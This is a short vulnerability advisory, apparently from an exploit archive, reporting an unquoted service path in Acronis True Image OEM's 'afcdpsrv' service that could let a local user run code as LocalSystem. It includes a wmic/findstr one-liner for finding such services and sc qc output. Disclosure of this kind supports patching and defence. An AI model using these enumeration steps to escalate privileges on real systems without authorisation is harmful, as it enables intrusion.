## https://sploitus.com/exploit?id=PACKETSTORM:155233
# Exploit Title: Acronis True Image OEM 19.0.5128 - 'afcdpsrv' Unquoted Service Path
# Date: 2019-11-11
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.acronis.com
# Software: ftp://supportdownload:supportdownload@ftp.kingston.com/AcronisTrueImageOEM_5128.exe
# Version: 19.0.5128
# Tested on: Windows 10
# Description:
# Acronis True Image OEM 19.0.5128 suffers from an unquoted search path issue impacting the service 'afcdpsrv'. This could potentially allow an
# authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require
# the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could
# potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges
# of the application.
# Prerequisites
# Local, Non-privileged Local User with restart capabilities
# Details
C:\>wmic service get name, pathname, displayname, startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
Acronis Nonstop Backup Service afcdpsrv C:\Program Files (x86)\Common Files\Acronis\CDP\afcdpsrv.exe Auto
C:\>sc qc afcdpsrv
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: afcdpsrv
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\Common Files\Acronis\CDP\afcdpsrv.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Acronis Nonstop Backup Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem